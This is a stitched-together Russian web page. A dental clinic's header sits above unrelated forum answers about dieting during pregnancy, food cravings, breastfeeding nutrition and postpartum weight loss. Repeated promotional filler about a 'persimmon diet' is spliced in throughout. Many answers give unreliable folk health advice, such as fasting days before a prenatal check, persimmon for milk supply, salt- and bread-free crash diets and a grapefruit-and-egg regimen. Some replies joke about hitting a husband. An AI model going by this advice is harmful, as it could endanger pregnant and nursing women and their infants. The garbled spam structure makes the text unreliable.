Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Можно ли худеть при беременности

Нет, конечно.
Как ты будешь худеть, если ребенок нуждается в правильном полноценном здоровом питании.

Полезные свойства фрукта хурма заключаются в богатом составе витамины Р и С, ретинол, магний, фосфор, железо, кальций, калий.Диеты и упражнения. Здоровье реб нка.

И как ты это себе представляешь? В этот период питание в основном для плода, иначе он все питательные вещеста возьмёт из организма матери, а это и зубы, кости. Тебе это надо?

Ни в коем случае.
Ребенок должен полноценно питаться. Нельзя из-за своей фигуры жертвовать здоровьем ребенка.

Только если ты слишком много набираешь, гинеколог сам тебе посоветует, например разгрузочный день сделать, но это уже на последних месяцах, чтобы ребенка не раскормить (по узи смотрят вес ребенка) и роды прошли без осложнений. если за месяц набираешь не более 2-3 кг, худеть категорически нельзя

Если до беременности вес устраивал, советую не есть после 6 или есть, что-то легкое. У меня так сестра делала. после того как родила, вышла худенькая, а если ты с целью сбросить вес, то лучше подождать, организму и так не легко, он перестраивается, не надо делать хуже. Можешь попробовать раздельное питание. Ил пищу на пару. Но никаких диет!

Нельзя

Диеты для красоты, диеты для здоровья и средства для похудения, этот сайт - кладезьВсю зиму на прилавках наших магазинов гостит ярко-оранжевый заморский плод - хурма в переводе...

Если 2 дня посидеть на хурме сколько скинется?? утро хурма,обед хурма,ужин хурма .

Да нисколько. Надо просто есть в меру и не все подряд, тогда и вес снизится.

Диета на хурме не обещает вам огромной потери лишних килограмм, а вот если вы на поддержании своего веса или хотите разгрузиться после праздников, эта диета для вас.

Как бы вообще не откинуться на такой диете

Понос начнется.. намного похудеешь.. неделю гадить будешь, дальше, чем видишь..

Надоест одну хурму есть.... Можно питаться разнообразно и при этом худеть.... С утра углеводы-геркулес например, в обед суп какой нибудь овощной и на вечер рыбу отварную.... В перекусах и салаты можно овощные. Получится сбалансированное питание, правда вес будет уходить медленнее чем хотелось бы, но не вернется зато потом)))

А кстати хурму сначала замораживать надо, беременная была, так советовали

Еш вода, пей вода, срать не будешь никогда!!

Благодаря диете, которая основана на хурме можно сбросить лишние килограммы. Такая диета существует в различных вариантах...

От хурмы может быть непроходимость кишечника. Так что осторожней.

Возненавидишь хурму и все

Мржно.. похудеет точно))))) на 2 кг ))))))))))))

Ни сколько. От этого вес не сбросится.

20 недель беременности. Напал страшный жор. Скоро на приём, а я боюсь на весы встать, прибавила наверное много

Я вам завидую, у меня сейчас 23 недели и жор у меня с 8 недели не прекращается

Особенным спросом пользуется диета на хурме, которая помогает сбросить до 5 килограмм лишнего веса. По своему составу хурма напоминает цитрусовые фрукты...

Ешь на здоровье. я по ночам ела и ничего нормально

Вы должны с этим бороться. не доверяйте чувству голода. это война))))))))))

Ну и что такого страшного в том, что у Вас аппетит появился? Организм - он же неглупый, если требует покушать, значит надо так.. . Я тоже, начиная с 20 недели где - то, кушать хотела постоянно. . Набирала помногу, врач ругалась.. . Ничего, нормально родила, быстро вес сбросила...

У меня таже проблема правда срок побольше, но понимаю что так нельзя, пытаюсь перебить чувство голода пью (воду, морс, сок, чай) яблочки кушаю и на конец сплю))))

Ваш организм сам знает чего он хочет, вот и доверьтесь ему. Меня ругали постоянно в консультации за лишний вес и на диету садили, ребенок возьмет столько, сколько ему нужно. Моя мама когда со мной ходила набрала всего 6 кг, а я родилась 4 кг. А моя подруга набрала 30 кг, а родила малыша 3 кг. ЭТО ПРИРОДА!

Именно поэтому диетологи рекомендуют включать хурму в различные диеты в осенне-весенний период. И для здоровья хорошо, и фигуре полезно!

Я тоже поправилась, врач прописала мне шиповник на 34 неделе, сейчас у меня 39 неделя и я реально сбросила, как есть хотела так пить его начинала, он аппетит уменьшает.

Чего вы волнуетесь? это хорошо что аппетит нашёл. я к 20 неделе 2 кг набрала, так врач кричала что мало. сёйчас ем как не в себя, так такая счастливая. завтра на приём, так надеюсь что за месяц поправилась.

Вторую половину беременности ребенок интенсивно рост вес набирает, если у вас свего веса мало, то откуда строительный материал брать? Одно дел если женщина здоровенная, толстая, ей можно вообще не есть, ребенок из неё вытянет нужное. А если тростинка, то замедлится развитие ребенка, не будет хватать на рост. Тут уж кушать нужно, организм правда не дурак и худышки могут много набирать, это нужно для вынашивания и потом для кормления.

Ешьте на здоровье а набрала с 27 недели оч сильно вес и ничего. родила нормально

Налегайте на белок т. е. мясо, рыбу, творог, молоко, сыр. Овощи. А вот с выпечкой, тортиками и фруктами (типа бананов, груш, хурмы, винограда) поосторожней. Тогда не так много наберете. И перерывы между едой удлинятся

Хурма содержит 15% от суточной нормы беременной женщины это значимо.Хурма для беременных выводы и советы.

Моя врач радовалась что я вес набераю! видать я слишком худая была

У меня тоже до 20 недели-2 кг прибавка была... а потом за 5 недель сразу 4 кг... думаю ничего страшного не случится если наберёте.. норма от 12-15 кг... 8-10 кг. в роддоме оставите... а остальное-фигня.... скинется со временем

На что вас тянуло во ремя беременности?

Меня на шоколад, мандарины и гранаты сильно тянуло. Я съедала каждый день по килограмму мандарин, по 1-2 шоколадки и по 1-2 гранаты. И при этом совершенно не могла есть мясо, рыбу и кисломолочные продукты.

В последнее время диета на хурме завоевывает сердца наших женщин все больше и больше, благодаря своей эффективности и удобству.

Ела мало, но очень хотелось протушить кусочек мяса с 3 луковицами и съесть только лук.

На сладкое, фрукты, молоко

На мясо, мясо с конфеткой

С первым очень сильно хотелось чеснока, а со вторым предпочтений особых не было, но иногда возникали очень сильные желания съесть что-то конкретное и почему-то всегда ближе к ночи. Муж несколько раз ночью в супермаркет бегал))

С дочкой ни на что, был жуткий токсикоз и ужасная изжога до самых родов. А с сыном постоянно ела сырую картошку.

Диета для беременных. Беременность для любой женщины счастье, наибольший дар, который могла дать природа.Перекус- через полтора часа- хурма.

Зелёные яблоки ))Могла штук 10 за раз съесть))

Соленых огурцов хотела или квашенной капусты... Всегда ела только белый хлеб, а с беременностью перешла на серый или черный, просто от запаха балдела) и стала есть очень много творога, хотя раньше в меня насильно его не впихнешь.. . и начала его кушать именно тогда, когда по срокам у ребенка косточки формировались))

Только мел.

Яблочки и мандарины, пока ими не вырвало....

Ананасы ела каждый день в течении 3 месяцев банками. иногда ночь приперало, аж муж матерился)

Диета на хурме. Позволительно избрать вариацию монодиеты, либо же сочетать ее со сбалансированным питанием выбор исключительно за вами!

Мне вообще не хотелось есть, ела - просто заставляла себя, в основном ела фрукты - яблоки, ананасы и виноград.

Нельзя так питаться!!!! о малыше подумайте. а не такой бред спрашивайте

В начале беременности, летом, съедала по миске салата из помидоров и огурцов со сметаной) ) фрукты - кивииии)) ) щас вот на мандаринах и хурме сижу)) ) мясное вообще не хочется ((( а, ну и сладкое люблю! ) Только от изжоги потом умираю (((

Меня на секс тянет начиная со 2ого триместра) больше нет изменений

Нет, ела все, что хотела-никакой диеты. Токсикоза не было.

Если вы решили начать диету на хурме, проконсультируйтесь с диетологом, дело в том, что этот фруктОчень часто у наших соотечественниц возникает вопрос, можно ли беременным хурму?

Питалась как обычно
с 16 по 26 неделю до дрожи в руках хотелось сладкого, тотры, конфеты, пироженое, мороженое каждый день были.

Ни на что.

Девочки скажите может у кого было такое?

Ха-ха-ха.. . если сосиски, то точно мальчик)))))

Диета на хурме и Диета с хурмой. Высокая грудь, упругие ягодицы, тонкая талия, подтянутая фигура какая женщина не мечтает обрести стройные формы.

Нет, по вкусовым пристрастиям ничего определить нельзя.

Хм ...ерунда все это

Я поначалу хотела селедки целую съедала сама.... помидоры маринованые... мальчик

Дождитесь 3-4 месяца и сходите на узи предполагаемый пол вам скажут

У меня были "девчачьи " пристрастия: свежие фрукты и торты, а щас мальчишечка бегает в машинку играет

Хурма богата железом, поэтому просто необходима женщинам. Известно, что каждый месяц женский организм теряет около 30 мг. железа.

Ни по каким внешним признакам нельзя определить кто будет. По желаниям еды можн сказать, что вам точно не хватает кальция, белка и возможно еще каких-то элементов, которые не содержатся в продуктах в больших количествах. Стоит пересмотреть свою диету (что нужно беременным по триместрам расисано в интернете) . А вот пихать в себя все что хочется не советую: может стать очень плохо.

Вопрос про ГВ) уже пошла третья неделя, как я стала мамой.

Вот спросите 3 раз, тогда отвечу...

В чем польза хурмы для беременных? 1. Хурма полезна для зрения. В ее спелых плодах содержится большое количество бета каротина, он окрашивает плод в оранжевый цвет.

Орехи, масло, молоко, и таблетки Апилак

Больше пить !
нормально питаться (не голодать)
воздержаться от чеснока, лука, капусты, бобовых (от чего пучит)

Очень просто. Не нужно листать литературу. Пить побольше чая в пропорции 1/3 обычной дозы.. . ой. . непонятно объясняю. Итак. Берем простой чай и завариваем как обычно, разделяем порции на три и в каждую заливаем до края кружки простое молоко. Перед кормлением примерно за пять минут пьем чай и кормим малыша

В первые месяцы надо исключить свежие овощи (огурцы, помидоры, капусту, идр.), фрукты (апельсин, мандарин, лимон, все красные и оранжевые плоды) .Можно есть зеленые яблоки, груши, только понемногу, после каждого кормления пить чай или кефир или просто воду. Можно с чаем халву кушать, можно так же молочные супы, вообще супы обязательно надо. Конечно же мясо, рыба, бульоны, борщи -это все очень помогает быстро востановить молоко. Я лично часто дела суп с фрикадельками после неё у меня хватает молока почти на целый день, хотя моей уже 9 месяцев. Потом потихоньку надо давать сначала морковный сок, потом яблочный, все начинай с нескольких капель потом, если никаких реакций нет можно давать чуть побольше, далее еще через месяц давать уже пюре точно так же понемногу., но часто и следите почаще давать воды-это в любом возрасте. Дальше после фруктов и овощей уже на мясо переходим, т. е. не перестаем давать фрукты и овощи, просто чтобы ребенок знала все на вкус. И еще с 3 месяца старайтесь самой сначала есть все продукты, если нет реакции через грудное молоко тогда уже начинайте потихоньку вводить. Кормите грудью как можно дольше, никакие смеси на заменят материнское молоко. Дай БОГ Вам и вашей семье здоровья и любви.

На количествко молока влияет только количество кормления ребенка!
Кормящим нежелательно есть всякие тортики магазинные и напитки типа Фанты и Кока-колы.
А молоко оно ж всегда для ребенка самое лучшее (есть некоторые лекарства которые с ГВ несовместимы)
Очень важно пить столько сколько хочешь. Ни в коем случае не вливать в себя жидкость насильно и не испытывать жажду.
А понятие "диета для кормящих" существует только в странах бывшего союза. Кто придумал не знаю. Наверно ее придумали только для того чтоб детей смесью все кормили

Чем полезна хурма в момент беременности? Данный фрукт культивируют в многих странах.Несмотря на то, что она специалистами рекомендуется в некоторых диетах для похудения, она...

Я два с половиной месяца кормлю грудью, следую рекомендациям консультанта по гв - есть можно все, лишь бы продукты были качественные и без химии. аккуратно с продуктами не нашей климатической зоны (я и мандарины, и хурму, и гранат, и т. д. ввела в рацион - малыш нормально отреагировал) , первый месяц нельзя кофе и шоколад (после просто не злоупотреблять этими продуктами) , если чеснок и специи ели во время беременности, то для малыша эти вкусы не будут новыми - я потихоньку попробывала и малыш от груди не отказался, как все запугивали. а вообще у всех все индивидуально - пробуйте по чучуть и смотрите на реакцию ребенка - это сугубо мое мнение. еще я пью сама укропную воду (мне кажется, что это помогает малышу справиться с коликами, т. к. ему я не хочу давать ничего постороннего) и она очень хорошо повышает лактацию по моим наблюдениям (рецепт - чайную ложку семян фенхеля (продается в специях) залить стаканом кипятка, настоять час и пить по стакану каждый день.

Продукты питания на образование и кол-во молока никакой роди не оказывают. Тут всё дело в стимуляции рецепторов сосков: чем больше они стимулируются, тем больше вырабатывается молока! Молоко вырабатывается в ответ на сигнал, который даёт малыш вашему организму своим сосанием. Поэтому чем чаще ребёнок прикладывается к груди и чем лучше он её опустошает, тем больше будет молока. И не имеет значение, что и сколько вы едите и пьёте! В кочующих племенах голодной Африки мамы не знают, что такое недостаток молока, в то время, как наши мамы стараются есть жирную пищу и много пить и всё равно страдают от нехватки молока. Всё потому, что африканские малыши находятся на своих матерях круглосуточно.
Что же касается меню, то кормящей маме можно есть всё, если у малыша нет ни на что аллергии.

Если муж становится очень привередлив в еде, раньше все трескал только так, что делать?

Что делать - искать мужу вторую работу - снова начнёт всё подряд трескать ))
...Или в постели больше его мучить - чтобы времени на переборы не оставалось ))

Витамины в хурме. Не только замечательный вкус, но и большое количество витаминов содержит в себе хурма.

Лечить магазинными пельменями и макаронами с сосисками.
Он, часом, не бабу себе завел? А то придирки то...

Тяжко.... по башке сковородкой 3 в день

Уж не померть ли собрался

В РЕСТОРАН отправляйте, и ничего не готовьте, скажите что вы на диете кефирной)) )

Он беременный, хыхы)))))

Диета на хурме может быть самой разнообразной, от быстрого экспресс похудения, до длительного питания с включением хурмы в свой ежедневный рацион.

Может, любовница избаловала?

Расскажите ему анекдот:
- Чем вы кормите своего мужа?
- Да что сами едим, то и ему даём.

Может, желудок не переносит...если в салатик майонеза херакнуть и есть это регулярно, то не каждый желудок вынесет. Никто ж не знает, чем конкретно он питается, как именно это приготовлено. Готовить можно по-разному.

Не кормить! Да лопатой его... в чулан.

Значимость он себе наработал с вами. Теперь вы ему должны на всю жизнь. Отучить можно, всего лишь нужно сказать ему, что вы захотели шубу, самую самую, Начнет копить, а там уж и по неволе перейдет, на все трескающего! ))

Можно есть хурму? Девочки, всем привет! С сегодняшнего дня попытаюсь соблюсти эту диету.

Наверное на работе повышение получил... цены себе не сложит...))))

У него наверное кризис среднего возраста или климакс)) ) терпеть, что еще вы можете? Спрашивайте что ему приготовить)))

В какое время вечером у вас закрывается рот? В плане покушать)

Вообще не закрывается, даже сейчас ела.. . Конечно смотря что есть...

Диета на хурме. По своим диетическим свойствам хурма занимает почетное второе место после цитрусовых.

Уже утро, а я пиво с чипсами.
А ты о чём вообще?)))))

Во сне только не ем--неудобно
а так--не ограничиваю себя диетами. Ничего полезного нет ложиться на ночь голодной и видеть голодные сны. ПРосто мера нужна во всём. И движение.

Я диеты не саблюдаю, мне не зачем, просто ужинаю со всей семьёй часов в 8вечера, а потом просто не ем.. . правда могу перед сном выпить чашку молоко с мёдом

До 5 утра могу что-то перехватить, т. к. сижу в ответах... позавчера это был борщ... в 3 ночи... все меня поддержали..

Ем когда захочу, а не ем только когда не чего, сыта или сплю.)))

Диета на хурме помогает человеку не только похудеть, но и поправить здоровье. Сайт о диетах и похудении Диетмикс расскажет вам об этом фрукте и о том, как похудеть на хурме.

После 19 не едим

В 6 вечера))

Я сейчас беременна и рот вообще не закрывается, а вообще я не склонна к полноте-ем когда хочу и сколько влезет

После 21.00

А при беременности быстро вес набирается если есть всякие булочки? Раньше вес не набирался, ела сколько хотела.

Все зависит о организма, как он среагирует не возможно предсказать

Полезные свойства фрукта хурма заключаются в богатом составе витамины Р и С, ретинол, магний, фосфор, железо, кальций, калий.Диеты и упражнения. Здоровье реб нка.

Я быстро набрала.

Ешь на здоровье!! ! А перед тем как идти к врачу, денек на твороге посиди, и лишние 2 кг улетят. . На ребенка такие разгрузки никак не влияют..

)))да да... булочки в попу откладываются)) это все вам останется после родов как память))))

Ешь чего хочешь, но следи за весом, чтоб сильно не набирала.

До 7 месяца все было нормально а потом так начала толстеть так что осторожнее с едой

Диеты для красоты, диеты для здоровья и средства для похудения, этот сайт - кладезьВсю зиму на прилавках наших магазинов гостит ярко-оранжевый заморский плод - хурма в переводе...

Можно, но поменьше. Как худеть потом будете? О ребёнке заботиться надо, но - в меру. Те, кто во время беременности поправляются на 20 кг - ему не помогают, но вредят себе. А потом жалуются, что, дескать, ребёнок фигуру испортил. Ребёнок не может это сделать, он может, только улучшить, жрать, прошу прощения, меньше надо. С булочками ( мой вам совет) не переусердствуйте.

Понимаешь ребенку нужно полноценное питание, в разные периоды беременности у ребеночка, что- то развивается, в один месяц например костная система, в другой, что то еще, советую приобрести литературу по этому вопросу, а по поводу своего веса не заморачивайся тебе сейчас главное выносить и родить здорового малыша, я например набрала за время беременности 28 кг, а ребенок родился 4кг300г, и в течении года после родов я полностью восстановила свой прежний вес, старайся кушать полезные продукты, если что то хочешь скушать -съешь, значит это требуется организму

У меня сестра всю беременность лопала булки, осатлась такая же, как до беременности!!!

Кушай всё полезненькое, для масика, чтоб и витаминки и микроєлементы были, и булки можешь кушать, но от них только тебе лишний вес и никакой пользы для маленького! а ещё,кушай побольше яблок, зелёных, малыш красивый будет, я по 8 штук в день съедала, малой наш красотулька... народный метод!

Я на булках набрала 1,5 кг за неделю!!!! Врач сегодня охнул и запретила их есть, предложила заменить сухарями... ну а если булок с маком хочу и все что делать? ТАк что я решила хоть пол но в день сьедать

Диета на хурме не обещает вам огромной потери лишних килограмм, а вот если вы на поддержании своего веса или хотите разгрузиться после праздников, эта диета для вас.

Если хочется-то пожалуйста. просто ограничтесь одной или двумя в день=)

Не переживай нравиться кушай только делай разгрузочные дни яблоки либо гречку.... да и отказывать тоже нельзя.... тем более потом все сбросишь...

Я тоже за меру, мне мама посоветовала много не набирать, чтобы рожать легче было, это так кажется 100 - 200гр, для ребенка не много, а для вас? За всю беременность +12кг, сынок - 3200, а на выписку уже одела свои "не беременные" вещи. А если хочется кушать, ешь, но тогда нужно больше двигаться, я каждый день гуляла пешком по 1,5-2 часа.

Это нормальное состояние беременной женщины. Вес набирается быстро и незаметно. Вас врач может посадить на диету.

Я тоже булки ела, заедала их хурмой и мандаринами. За беременность набрала 23 кг. После родов скинула только 4 кг. Муж ко мне охладел, перестал замечать. Вот тут я за себя взялась. Всю свою волю в кулак собрала, на диету села, себя в порядок привела. Сразу похудела. Спасибо мужу, а то до сих пор бы толстой свинюшкой ходила. Зато муж сейчас красавицей называет и очень ревнует. Мой вам совет - ешьте булочек поменьше. Подумайте о своей фигуре в будущем, ведь лишние килограммы набрать легко, а избавиться от них ох как трудно!

Благодаря диете, которая основана на хурме можно сбросить лишние килограммы. Такая диета существует в различных вариантах...

Знаете. в этом вопросе всё так тонко и индивидуально! Я, до беременности вообще не ела, сладкое, при беременности ну просто - обжиралась. Как родила, опять хотение пропало. ни хлеб, ни сладкое, ни печёное не ем - а разнесло. если у вас горм. фон поменяется - ждите неприятностей. И это не зависит, от того что вы едите))))

Я беременная ела все подряд, от холодильника далеко не уходила, набирала по 16 кг - дважды мама . Ничего не могла с собой поделать, не поем - плохо, слабость !

Кого гинеколог садил на мясную диету?? Поделитесь опытом.))

Не надо, я пробовала. Ты потом это мясо еще долго не сможешь есть. От него тошнить уже к вечеру начинает

Особенным спросом пользуется диета на хурме, которая помогает сбросить до 5 килограмм лишнего веса. По своему составу хурма напоминает цитрусовые фрукты...

Фуу, ужас, как такое вообще есть?: (
Мда, от такого точно аппетит пропадет:) ) результат похудения гарантирован:))

Сажал.))

В мясе говорят незаменимые микроэлементы содержатся которых нигде больше нет... так что для женщины с её постоянно меняющимся составом крови в самый раз)))

Не сажали, но как-то уже противно) Можно на творог, яблоки и кефир пару деньков. Минус кг точно будет. Но небольше. Ребенку ведь нужны витамины и Вам тоже)

От обезвоживания могут быть преждевременные роды. Вы знали? Я на днях узнала! не сажали. Мне ФРУКТЫ ЗАПРЕЩАЛИ ЕСТЬ! Потому что сахара много! Капец! Летом! Я ела, естессно.

Именно поэтому диетологи рекомендуют включать хурму в различные диеты в осенне-весенний период. И для здоровья хорошо, и фигуре полезно!

Почему именно мясо? Яйца, творог, кисломолочка там тоже белка навалом

Привет,! ) меня вообще сажали на макароны плюс мясо,,,, чтобы вес набирала я, а через меня малышка!! ) она плохо набирала вес, нам ставили взрп, из за чего мы в патологии лежали!! ! А тебе почему именно мясо есть надо ,?

Меня просто на диету сажает, а я все никак )))) вот сейчас наелась и сижу перед ноутом. Целую неделю хотела греческого салата и только сегодня сделала. Так от радости три порции съела и сижу себя ругаю

Мне уже в роддоме после заключения контракта прописали мяско кролика и индейки. На УЗИ ребёнок был маловесным. И сама я мало набрала.

Странно.. неа не садили меня ни на какую диету. А зачем мясо? недостаток железа? Я принимаю дополнительно железо просто. А от такой диеты мясной я бы точно в туалет не смогла сходить

Хурма содержит 15% от суточной нормы беременной женщины это значимо.Хурма для беременных выводы и советы.

Привет) у меня что то нападобе. мне два разгрузочных дня в неделю-на куриной грудке без соли, гречке без соли и 1л воды.. завтра 1ый день.. (((ужас ((а в целом запретили всё мучное, сладкое, всё молочное.. картошку и макароны.. кароч чем питаться я хз!!! (((я даже до беременности так себя не ограничавала... а тут.. когда постоянно кушать хотца!

Кому удалось скинуть лишние кг, поделитесь! Вопрос жизни и смерти! Муж вообще на меня не смотрит, толстая :((

Ходить на фитнесс

В последнее время диета на хурме завоевывает сердца наших женщин все больше и больше, благодаря своей эффективности и удобству.

Когда титькой перестаните кормить вот тогда и задумайтесь о весе а щас говорить о весе нет поводу потому что у вас идёт лактация

Он тебя кинет, будь готова к этому.

Менять образ употребления пищи. систему пищевого поведения. попробуйте записывать в дневник всё, что вы едите. потом анализируйте - от чего вы легко можете отказаться? что дает наибольшие калории. и заниматься зарядкой дома. пресс качать легко.
только это должно быть для тебя, а не для мужа. нужно найти точку отсчёта - мотив значимый.

Танцуйте дома, гуляйте с коляской, сладкое, мучное под запрет. А при вашем росте вы должны минимум 68 кг весить

Самый действенный способ и долго сохраняется результат - это считать каллории. у меня есть 3 примера - мама на 15 похудела. подружка на 20. а одна знакомая (у нее очень много лишнего веса) на 40!кг за полгода. если интересно, можете в личку написать. расскажу.

Диета для беременных. Беременность для любой женщины счастье, наибольший дар, который могла дать природа.Перекус- через полтора часа- хурма.

Нууу, пока кормите пусть заткнется. НЕЛЬЗЯ сидеть на диете при грудном вскармливании. А потом смело на диету и сами дома упражняться . Исключите из рациона сладости, выпечку, хлеб (но на завтрак кусочек можно) , жирное мясо, жаренное. После 6 вечера только яблочко или кефир.
Упражнений в инете полно, на том же ютубе, легко можно устроить себе фитнес дома, я так делала, помогло.

Да ты сама на мужа не смотри и объяви байкот сексуальный.... а как скинуть не скажу )))

Я грудью кормлю. сейчас ребетёнку 8 мес. отличный способ похудеть. у меня уже 10 кг. ушло ( за берем. 25 набрала) . Главное не есть: сладкое, мучное. ещё я отказалась от: бананов, картошки, риса. Кашку на воде варю. Овощи на пару. Главное настроиться на победу! Удачи вам!!!

Есть книжка как из тушки сделать фигурку. поищите - может поможет.
по современным стандартам вам бы весить 55-65. лучше 55. но и при 65 вы бы уже радовались. 55 помоему уже перебор. я забеременнела в 70-73 родила в 82-86 память отшибло. кормила, само стало уходить. строгие диеты для меня это кошмар темболее кормила до 2,2. поищите фидео в интернете белояр для беременнных. будете заниматься - само собой наладиться.
удачи вам!

За 2 с половиной месяца сбросила 18 кг
за 10 лет из тех 18 набрала снова 8 кг
этим летом снова начну заниматься потому что худеть летом намного удобнее
в общем худейте летом соль сахар хлеб выпечка долой ни чуточки
жила на салатах из кабачков огурцов помидор в качестве соли использовала чеснок лук и лимонный сок
салаты заправляла кефиром простоквашей знаю прекрасно что можно рыбу мясо есть но душа не принимает без соли да можно яйца яблочки и если на ночь очень хочется поесть стакан чая с молоком
пробуйте если появится желание опробовала на своей шкуре удачи

Диета на хурме. Позволительно избрать вариацию монодиеты, либо же сочетать ее со сбалансированным питанием выбор исключительно за вами!

Если вы всегда были полненькой, стройной никогда не станете.. Тем более у вас двое детей какой фитнесс, дома каждый день фитнесс )) Пока грудью кормите ничего не надо делать, соблюдайте диету. . В магазине мед техника купите пояс..

ВНИМАТЕЛЬНО прочитайте книгу Аллена Карра Легкий способ сбросить вес (можно в инете скачать ) Я например ем все и без диет похудела на 12 кг. Смысл в том что питаться надо правильно - есть столько сколько надо организму....

Хочу вам сказать раз начал придераться, то ожидайте не благоприятного конца или появление любовницы (склоняюсь что она уже есть у него) , а похудеть реально при психологическом настрое, мне муж сказал что я толстая когда весила 60 кг (у меня рост 171) ну и всё у меня случился бзик и я за месяц сдулась до 55, я просто постоянно думала что я толстая и ему это не нравится надо похудеть и от одной мысли и салатов похудела)))))))) ) Никогда не придерживаюсь особых диет, стоит только ему сказать что у меня лишние кг. появились, то всё я начинаю таять.

Пока кормите грудью, этот вопрос трудно решить, так как ограничение себя в каких то продуктах будет сказываться на количестве и качестве молока, вот и решите для себя что важнее здоровье ребенка или фигура. Ну если уж муж вопрос ставит ребром, тогда стоит поговорить с ним, что вы бросите кормить ребенка и займетесь своей талией. Вот когда не будете кормить тогда можете ограничивать себя в каких то продуктах, да возможно и вообще не придется этого делать, когда бросаешь кормить и полнота куда то девается, а пока старайтесь калорийную пищу заменять на овощи и фрукты. Ешьте больше хурмы, она обладает мочегонным свойством и способствует похудению, так же и молока будет больше. Соблюдайте режим в питании, ни каких перекусов, исключите все сладости и мучные изделия, не пейте газированные напитки и магазинные соки, исключите все фастфуды. Не ешьте ни чего жареного, все только в отварном и паровом виде. Исключите жирную пищу. Просто за своим питанием надо следить, а не есть бесконечно и что попало.

Не слушай злых тётек, которые говорят, что, мол, он тебя бросит! Он же не идиот, и не кобель (я надеюсь!) Всё в твоих, дважды мамочка, руках) Идёшь с коляской, именно идёшь... Топ-топ... А не тупо с книжкой сидишь (успеешь начитаться!) Потом коляску со спящим малышом поставила, и побегай за старшим... Потом... нИкАдА не доедай за детьми, сама ешь не по многу, но... Чтобы наедаться! Поскольку, твоё настроение и питание малыша тоже от этого зависит! Не нервничай... Думай о наступающей весне, о том, что ты должна быть красивой... Хочешь быть стройной? Ну пожалуйста, только без фанатизма!) Да... И качай пресс и самооценку!

Если вы решили начать диету на хурме, проконсультируйтесь с диетологом, дело в том, что этот фруктОчень часто у наших соотечественниц возникает вопрос, можно ли беременным хурму?

Мужу можно нравиться будучи толстенькой, делайте ему приятно, и худейте постепенно. Он не бросит вас не слушайте никого

При вашем росте кг 55-60 норма. меньше есть, больше двигаться

На фиг вам такой муж, если он вас во время Б в весе упрекал, это же нормально набирать вес

Я после родов скинула 5кг только от того что перестала добавлять сахар в чай или кофе. Но это не предел нужно заниматься гимнастикой, пить воды чистой побольше, и вообще двигаться больше. Да, и поменьше расстраиваться, я например когда в депрессии быстро набираю лишние кило.

Я за беременность набрала 30кг, +пока кормила. Муж ни когда мне и слова не говорил, что я толстая. А вот я начала компелксовать, плакать, у меня начались жуткие депрессии. А тут по телику прошла реклама, "Доктор Борменталь", про похудения, я сходила, на тренинги, работа с психологами, Это питание по ККал, есть вообщем можно все но расчитыватьККал, конечно получалось, что я ела, тока овощные салаты, мясо вареное, рыбу, фрукты, конфеты конечно тоже, по праздникам, тортики. Но организму после праздников было не уютно.. . В результате за год -30кг, +уверенность в себе, сейчас уже год я ни считаю ккал, немного вес прибавился, но больше не скачет, я так же ем низкоколарийную пищу, но иногда конечно бывает печеньки и тортики. Вы узнайте если у вас в городе программа похудения "Борменталь" если есть, сходите не пожалеете. Удачи Вам

Диета на хурме и Диета с хурмой. Высокая грудь, упругие ягодицы, тонкая талия, подтянутая фигура какая женщина не мечтает обрести стройные формы.

Делайте следущее:
Каждый раз когда садитесь есть - съедайте салат из сельдерея, болгарского перца, помидора, лука и листьев салата. Заправлять это нужно натуральным йогуртом, приправив перцем чили. Без сахара, соли и любого масла.
Данные продукты обладают свойствами для ускорения обмена веществ.
Пейте неограниченное количесво зеленого чай. Его нужно именно заваривать, а не из пакетиков делать.
Зеденый чай обладает мочегонным действием. Поэтому хорошо очищает организм.
_______________
Вариант номер 2:
Приготовьте гречку из расчета 1 стакан гречки заливается 2 стаканами кипятка. Кашу оставляем на ночь - настаиваться. В кашу нельзя добавлять какие либо специи, а также масло!
Плюс обезжиренный биокефир, заправленный перцем чили, корицей и имбирем (по пол чайной ложки каждой специи) .
Кефир в таком сочетании способствует снижению аппетита, в течение длительного времени вы ощущаете насыщение.
_______
В любом из этих 2х вариантов нужно нужно раз по 5 в день. Минимум.
_______
Исключите из своего рациона любые мучные избелия. Хлеб категорически запрещается! Также как и картошка, сахар и соль.
А если перестаните есть мясо, и рыбу с тицей в том числе - это настроит правильный обмен веществ в Вашем организме. и если сможете хотябы 2 года не есть мясо - потом сможете есть что угодно (в разумных пределах) , и не поправляться)) )
____________________
Так же можно попробовать диету из грейпфута.
Завтрак, обед и ужин - одно и тоже - пол грейпфута и яйцо всмятку.
Больше ничего незьзя! Пить только хорошоочищенную миниральную воду без газа. (vittel например)
Но боюсь, что Вам этого колличества калорий будет мало ( И в этом случае никаких перекусов не должно быть!
Но если у Вас большая сила воли - дерзайте ^_~ Буду за Вас болеть)
___________________________________________
С Вашим весом строго придерживаться такого рациона придется не меньше, чем полгода ((((((
Чередуйте данные диеты - и Вы будете собой довольны) Удачи ^_~

У желания 1000 возможностей, у лени сотни отговорок.. . вам нужно не просто сбросить лишние кг, а изменить свою жизнь, это не просто громкие слова с моей стороны, разозлитесь на себя, соберите волю в кулак, найдите силы в мечте о стройной фигуре, мечту уложите в цель (через год весить60-65), цель разделите, разбейте на части (каждый квартал сгонять по 6-9 кг, каждый месяц по 2-3 кг.) , пересмотрите свою жизнь полностью, составьте план - новый распорядок дня, ведите дневник как в школе, только порядок и самодисциплина помогут, ..что вам поможет: книги, форумы, самоучители по правильному питанию, по физической культуре, самодисциплине, самоконтролю, лидерству. забудьте слова: "я не могу потому что... ", будьте безжалостны к себе, никаких отговорок, ищите решение, а не проблему: "...Ходить на фитнесс или еще куда то нет возможности, детей оставлять... " решение-какие упражнения делать дома.. . "...кормлю младенца... " , кок сбалансировать питание.
Важное: распорядок дня, дисциплина, самообразование
инструмент: нарисуйте себе жизнь через год, напишите на бумаги, сколько вы весите, как на вас смотрит муж с восхищением, как ставят в пример вас другие мамашки, как гордится старший ребенок, как вам идет то платье в журнале, заведите дневник, туда вклеивайте картинки стройных особ с вашей фотографией, записывайте изменения... только это все вместе в комплексе поможет, если желание на самом деле сильное, если не сдадитесь через неделю на милость отговоркам, верте в себя и всвой успех, и успех поверит в вас.... если конечно вы писали вопрос для того чтобы убедится, что ваша ситуация безнадежна и выхода нет, чтобы себя пожалеть, то зря читали все написанное, сори,
